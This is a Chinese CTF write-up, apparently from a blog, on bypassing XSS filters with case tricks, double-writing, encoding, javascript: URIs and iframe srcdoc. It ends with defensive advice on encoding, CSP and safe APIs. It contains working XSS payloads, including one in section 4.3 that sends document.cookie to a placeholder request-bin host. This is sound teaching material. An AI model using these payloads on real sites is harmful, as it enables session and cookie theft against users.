当前位置: 首页 > news >正文

XSS绕过实战:从基础过滤到iframe srcdoc高级利用

1. 项目概述:一次典型的XSS实战解题复盘

最近在复盘一些经典的Web安全挑战,正好重新走了一遍test.ctf8这个靶场里的XSS注入题。这道题虽然出自一个老牌CTF练习平台,但其涉及的绕过思路和防御机制,在今天很多实际的渗透测试和代码审计场景中依然有很强的参考价值。它不是那种让你直接弹个alert(1)就完事的简单题,而是需要你一步步理解前端的过滤逻辑、尝试多种Payload构造方式,最终才能拿到Key或完成指定操作。对于刚接触安全的新手来说,这是一个非常好的、从“知道XSS”到“理解XSS如何发生与被防御”的过渡练习;对于有经验的老手,也能借此温故知新,梳理一下那些容易被忽略的细节和思维盲区。

我把自己解题的完整过程、踩过的坑以及背后的原理都记录了下来。你会发现,解题的关键往往不在于知道最多的Payload,而在于能否静下心来,像开发者一样去阅读前端的JavaScript代码,理解它到底在“防”什么,以及哪里“防”得不够彻底。下面,我们就从靶场环境搭建开始,一步步拆解这道题。

2. 解题环境与目标分析

2.1 靶场环境搭建与访问

test.ctf8通常是一个本地或内网搭建的CTF训练平台。为了复现,我使用了Docker快速部署了一个类似的包含经典XSS挑战的Web环境。这里不推荐任何具体的镜像,但你可以搜索“DVWA”、“XSS Labs”或“CTFd with challenges”这类关键词,找到包含类似题目的集成环境。关键是要有一个能安全、合法进行渗透测试练习的沙箱。

访问题目页面后,典型的界面是一个简单的输入框,可能配有一些提交按钮,或者直接就是一个搜索框、留言板。题目描述往往会给出明确的目标,例如:“注入XSS,弹出对话框显示document.cookie”或“窃取当前页面的Cookie并发送到你的服务器”。明确目标至关重要,它决定了你Payload的最终形态——是只需要证明可执行(Proof of Concept),还是需要完成一次真正的攻击链(如数据窃取)。

2.2 前端代码初步审计

遇到任何输入点,我的第一反应永远是:F12打开开发者工具。这不是一句空话。你需要重点关注两个地方:

  1. 网络(Network)标签页:观察提交输入时,浏览器向服务器发送了什么请求(GET/POST?参数名是什么?),以及服务器返回了什么响应。有时候过滤发生在后端,响应里你的输入已经被修改了。
  2. 元素(Elements)与源代码(Sources)标签页:查看输入最终被嵌入到了HTML的哪个位置。是被放在<div>标签内部,还是被写入了<script>标签,或是成了某个HTML标签的属性(如<input value=“你的输入”>)?同时,务必检查页面是否引入了额外的JavaScript文件来进行输入过滤或净化(Sanitization)。

以这道题为例,查看页面源码,可能会发现一段关键的过滤函数,例如:

function filter(input) { let filtered = input.replace(/script/gi, ''); filtered = filtered.replace(/on\w+=/gi, ''); return filtered; }

这段代码就是一个非常典型的前端过滤逻辑。它做了两件事:

  • replace(/script/gi, ''):不区分大小写地删除所有“script”字符串。
  • replace(/on\w+=/gi, ''):删除所有以“on”开头的事件处理器属性(如onclick,onerror,onload)。

很多新手看到这里就懵了,觉得<script>标签和事件处理器都用不了,是不是无解了?其实这正是题目的精妙之处,它引导你去思考:除了<script>on事件,还有哪些方法可以执行JavaScript?

3. 核心绕过思路与Payload构造

3.1 利用HTML标签与属性执行JS

<script>标签被过滤,我们需要转向其他可以承载JavaScript代码的HTML标签。这里有几个经典的“备选方案”:

  • <img>标签:利用其onerror属性已被过滤,但src属性可以指向一个无效的URL,从而触发onerror执行JS。但这里onerror被过滤了,所以这条路暂时不通。不过,<img>还有一个很少被过滤的向量:<img src=1 onerror=alert(1)>。如果过滤函数不完善,可能只过滤了onerror=但没过滤掉onerror =(注意空格)。我们可以尝试<img src=1 onerror =alert(1)>
  • <svg>标签:SVG(可缩放矢量图形)本身是XML,它可以内嵌<script>标签。但注意,如果过滤函数是针对整个输入字符串删除“script”子串,那么<svg><script>alert(1)</script></svg>也会被破坏。然而,我们可以利用SVG的事件处理器,这些处理器名称可能不在on\w+=的黑名单里,或者写法可以变形。例如:<svg onload=alert(1)>onload同样以on开头,但关键在于过滤正则/on\w+=/gi是否匹配。onload=是匹配的,但如果写成<svg/onload=alert(1)>呢?这里的/可能会干扰正则的匹配。
  • <body><input><details>等标签:它们都支持各种事件处理器。思路是不断尝试那些可能被遗漏的、或可通过特殊写法绕过匹配的事件。

实操心得:在测试时,不要一次性输入复杂的Payload。应采用“步步为营”法:先输入一个普通文本(如test),看它被原样输出在哪里。然后输入一个简单标签<b>test</b>,看标签是否被渲染(加粗)。如果被渲染,说明HTML解析是生效的。接着再尝试<img src=x>,看图片是否加载(或触发404)。最后才注入事件onerror=alert(1)。每一步都通过开发者工具观察DOM的变化,理解过滤发生的具体环节。

3.2 大小写、双写与编码绕过

这是对抗简单字符串替换过滤的经典手法。

  • 大小写绕过:如果过滤是/script/gii标志表示不区分大小写),则大小写无效。但有些蹩脚的过滤可能只用/script/g。那么<ScRiPt>alert(1)</sCrIpT>就有可能绕过。
  • 双写绕过:这是应对“删除一次”策略的妙招。假设过滤函数是input.replace(‘script’, ‘’),它只删除第一次出现的“script”字符串。那么如果我们输入<scrscriptipt>alert(1)</scrscriptipt>,过滤后,中间的script被删除,剩下的部分正好组合成新的<script></script>!即:<scr[删除script]ipt>alert(1)</scr[删除script]ipt>-><script>alert(1)</script>
  • HTML实体编码:浏览器在解析HTML时,会先将实体编码解码。例如,<代表<>代表>。如果过滤是在解码前进行的字符串匹配,那么输入<script>alert(1)</script>,过滤函数找不到“script”这个字符串(因为它是s),但浏览器解码后却能正常执行。不过,如果输入点是在JavaScript字符串内部(例如var userInput = “你的输入”;),那么你需要用的是JavaScript的Unicode转义或字符串拼接绕过,而不是HTML实体。

3.3 利用JavaScript伪协议与事件处理器变形

当输入点出现在HTML标签的属性值时,例如<a href=“你的输入”>点击</a>,我们有了新的突破口。

  • javascript:伪协议:可以构造href=“javascript:alert(1)”。但注意,如果属性值被引号包裹,且过滤函数会检查javascript:关键词,可能需要变形,如利用HTML实体编码:href=“javascript:alert(1)”:被编码)。或者利用URL编码:href=“java%0Ascript:alert(1)”(换行符%0A可能被忽略)。
  • 事件处理器的多种写法:过滤on\w+=,我们能否不用等号?在某些HTML解析器中,属性值可以不用引号,且如果属性名后紧跟JavaScript代码,浏览器可能会将其作为值解析。例如:<img src=x onerror alert(1)>(缺少等号)。这不一定成功,但值得一试。另一种思路是,利用其他不被认为是“事件处理器”但能执行代码的属性。最经典的就是<img>标签的src属性结合iframesrcdoc属性,但这道题更常见的终极解法是:

3.4 终极杀器:<iframe>srcdoc属性

这是本题的一个关键考点。<iframe>标签的srcdoc属性,可以直接内嵌一段完整的HTML文档。而这段内嵌的HTML文档,其解析上下文(Parsing Context)是独立的。也就是说,外层页面设置的JavaScript过滤函数,很可能不会应用到srcdoc内部

构造Payload如下:

<iframe srcdoc="<script>alert(1)</script>"></iframe>

或者,为了更隐蔽:

<iframe srcdoc="<img src=1 onerror=alert(1)>"></iframe>

为什么这样能绕过?因为过滤函数filter(input)通常只在服务器端返回数据后、浏览器渲染前,由页面主JavaScript脚本对你的原始输入执行。一旦你的输入被包裹在<iframe srcdoc=“...”>中,并且浏览器开始解析srcdoc的内容时,它是在一个全新的文档环境中解析引号内的字符串。外层的过滤逻辑已经执行完毕,它只看到了一段字符串“<script>alert(1)</script>”,并没有在字符串中匹配到<script>(因为过滤可能只针对顶级输入?这里需要看具体代码,但很多简单过滤确实如此)。而当srcdoc的内容被解析为HTML时,它就是一个全新的、未经过滤的文档了。

踩坑记录:在实际测试中,我最初写的Payload是<iframe srcdoc=<script>alert(1)</script>></iframe>,缺少了srcdoc属性值两边的引号,导致解析失败。必须写成srcdoc=“<script>...”srcdoc=‘<script>...’。此外,还要注意如果外层页面有CSP(内容安全策略)限制srcdoc的使用,此方法也会失效。但在这类基础CTF题中,通常不会设置这么严格的CSP。

4. 完整解题步骤实录

4.1 第一步:信息收集与输入点探测

  1. 打开题目页面,右键查看网页源代码。
  2. 搜索关键词如filterreplaceinnerHTMLdocument.write,找到处理用户输入的函数。
  3. 在控制台(Console)输入console.log(filter.toString())(如果filter是全局函数),直接打印出过滤函数的源码,这是最准确的方式。
  4. 分析过滤逻辑:确认它过滤了哪些关键词(大小写敏感?),是替换为空还是转义?处理顺序如何?

4.2 第二步:构造初级Payload进行测试

根据过滤逻辑,尝试最简单的绕过。

  • 情况A:过滤<script>,但没过滤其他标签。尝试:<img src=x onerror=alert(1)>。如果onerror被过滤,尝试变形<img src=x oNerror=alert(1)><img src=x onerror =alert(1)>
  • 情况B:过滤了on\w+=。尝试使用不带on的事件(很少),或转向其他执行方式,如<svg><script>alert(1)</script></svg>(赌双写或大小写绕过对script的过滤),或者<a href=javascript:alert(1)>点击</a>
  • 情况C:上述都失败。考虑是否输入点不在HTML上下文,而在JavaScript字符串中。例如页面代码为:<script>var input = ‘用户输入’; document.write(‘<div>’ + input + ‘</div>’);</script>。这时,你需要闭合字符串和语句,例如输入’; alert(1);//,最终代码变为var input = ‘’; alert(1);//’; ...,从而执行alert(1)。这属于JavaScript上下文注入,与HTML注入手法不同。

4.3 第三步:高级绕过与<iframe srcdoc>利用

当常规标签和事件处理器都被封堵时,祭出<iframe srcdoc>

  1. 构造Payload<iframe srcdoc=“<script>alert(document.domain)</script>”></iframe>。这里用document.domain是为了证明脚本在该域下执行,可以访问同源资源。
  2. 提交测试:将Payload输入提交。
  3. 观察结果:如果页面弹窗,显示当前域名,则证明注入成功,且JavaScript在正确的安全上下文中执行。
  4. 完成题目要求:如果题目要求窃取Cookie,则Payload需要将document.cookie发送到你的服务器。注意:在真实环境或某些CTF设置中,你需要一个公网可接收请求的服务器。可以临时使用一些请求Bin服务(如requestbin.comwebhook.site),生成一个URL,构造Payload:<iframe srcdoc=“<script>fetch(‘https://你的请求Bin地址?c=’+document.cookie)</script>”></iframe>。这样,当Payload执行时,会向你的地址发送一个携带Cookie的GET请求。

4.4 第四步:验证与总结

成功弹窗或接收到Cookie后,解题并未结束。回到开发者工具,查看最终生成的DOM结构。理解你的输入是如何被过滤函数处理,又是如何被浏览器解析的。这能加深你对XSS成因和防御的理解。

5. 防御视角与实战启示

5.1 为什么这道题的防御是失败的?

我们从防御者角度复盘:

  1. 前端过滤不可靠:所有前端输入检查都可以被绕过(禁用JS、直接发送恶意请求)。安全规则必须在服务端严格执行。
  2. 黑名单思维局限:过滤函数试图列出所有“坏”的字符串(script,on\w+=),但坏字符串的变体无穷无尽(编码、双写、新标签、新属性)。应该采用白名单思维,只允许已知安全的字符或标签。
  3. 上下文识别错误:防御者没有正确识别用户输入最终被使用的上下文。是HTML标签内?属性值里?还是JavaScript字符串中?不同的上下文需要不同的编码或转义方式。例如,放入HTML正文需转义< > & “ ‘;放入HTML属性值需转义“ ‘以及确保属性被引号包裹;放入JavaScript字符串需进行Unicode转义等。
  4. 忽略了srcdoc等危险属性<iframe srcdoc><svg><math>等标签可以创建新的HTML解析上下文,可能绕过外层的净化逻辑。现代安全库(如DOMPurify)会默认不保留srcdoc属性,或者对其内容进行严格的递归净化。

5.2 正确的XSS防御姿势

对于开发者而言,应该:

  1. 输出编码(Escaping):根据数据将要放置的上下文(HTML、HTML属性、JavaScript、CSS、URL),使用经过严格测试的编码函数。不要自己写正则,使用成熟的库(如OWASP ESAPI、各种语言框架的内置函数)。
  2. 内容安全策略(CSP):在HTTP头中设置Content-Security-Policy,明确告诉浏览器哪些资源(脚本、样式、图片等)可以加载和执行。例如,禁止内联JavaScript(‘unsafe-inline’),禁止eval,可以极大缓解XSS的影响。即使攻击者注入了脚本,浏览器也不会执行。
  3. 输入验证:在服务端,对输入的数据格式、长度、类型进行严格校验(例如,邮箱字段必须符合邮箱格式)。但验证不能替代输出编码。
  4. 使用安全框架/库:现代前端框架(如React, Vue, Angular)默认会对渲染到DOM中的数据进行转义。使用安全的DOM操作API(如textContent代替innerHTMLsetAttribute代替字符串拼接)。
  5. 避免危险的API:尽量避免使用innerHTMLouterHTMLdocument.write()eval()setTimeout(string)等可以直接将字符串作为代码执行的API。如果必须使用,必须对输入进行严格的净化。

5.3 对安全研究者的启示

这道题虽然简单,但它是一个完整的“攻防思维训练”:

  • 攻击面枚举:遇到一个输入点,要系统性地思考所有可能的注入上下文(HTML、属性、JS、CSS)。
  • 分层测试:从简单到复杂,从常见到生僻,逐步测试过滤规则的强度。
  • 理解底层原理:为什么srcdoc能绕过?因为浏览器解析HTML的过程是分阶段的。为什么双写能绕过?因为字符串替换算法的特性。理解这些,才能创造出新的绕过方式,而不仅仅是记忆Payload。
  • 工具辅助,但不依赖:可以使用Burp Suite、XSS Strike等工具进行模糊测试和Payload自动生成,但工具的结果需要人工验证和理解。手动审计代码永远是无可替代的核心能力。

通过这样一道题,我们不仅学会了一个技巧,更重要的的是建立了一套分析问题、解决问题的Web安全方法论。在真实世界中,漏洞往往就隐藏在那些看似严密的过滤规则的一丝缝隙里,而发现它,需要的是耐心、细心和对技术的深刻理解。

http://www.cnnetsun.cn/news/3793080.html

相关文章:

  • 【Agent 的多模型路由熔断:免费模型池怎么做到「永远有能用的」】
  • PyTorch GPU环境搭建与排错全指南:从驱动到CUDA的完整解决方案
  • 树莓派RPi5与CM4搭载Hailo AI Kit运行YOLOv8性能对比实测
  • 数字营销经典书籍排行榜:《引爆社群》为何长期位居推荐名单?
  • 大龄Java程序员的AI转型之路——学习框架梳理
  • 电赛视觉控制:从像素到世界的坐标转换与系统性偏差排查
  • Dify v0.12.3 Webhook签名变更:兼容性修复与安全升级指南
  • BeagleBone Green LCD Cape开发指南:从硬件连接到图形界面实战
  • RabbitMQ死信队列(DLX)原理与实战:从异常处理到延迟队列实现
  • 乌鲁木齐市中科高级技工学校:口腔义齿制造专业
  • 用 Ace Data Cloud 快速接入 Suno 声音克隆 API:让 AI 音乐生成进入个性化声音时代
  • UE5插件集成实战:XScene-UEPlugin部署、性能优化与渲染调优全解析
  • 从接口压测到全链路质量保障:AI智能客服系统的软件测试实践
  • 录屏教程怎么做才不占空间?开发者内容生产的效率优化
  • UE5蓝图伤害系统:Apply Damage节点与自定义伤害类型实战指南
  • WebRTC网络优化实战:10大策略保障音视频实时流畅
  • Claude AI桌宠硬件:从软件到实体的具身智能交互实践
  • 31条PCB布线核心建议:从信号完整性与EMC到可制造性的硬件设计实战
  • 基于STM32F7高性能MCU的嵌入式开源硬件平台Open746I-C深度解析
  • 从初代 Claude 到 Claude 5:一文看懂 Anthropic 如何把“安全助手”做成 Agent
  • 2026年|谷歌推广相关口碑优质外贸独立站建站公司深度测评
  • PyTorch模型在NPU上训练:从环境搭建到性能调优实战指南
  • 图神经网络与机器学习在聚合物材料逆向设计中的应用
  • Redis在CAP定理下的真实定位:从AP倾向到CP权衡的实战解析
  • 单片机毕业设计-基于 STM32 的卫浴红外感应智能控制装置设计 基于单片机的坐具恒温换气消毒智能系统设计(016301)
  • 图像处理毕业设计:从OpenCV到深度学习的务实选题与实现指南
  • 自动驾驶核心技术解析:从传感器融合到工程落地
  • Spring Bean 的生命周期到底是什么?
  • 3分钟完成Blender 3MF插件安装:彻底告别STL格式局限
  • 如何快速上手DeepSeek-Coder-V2:AI编程助手的完整指南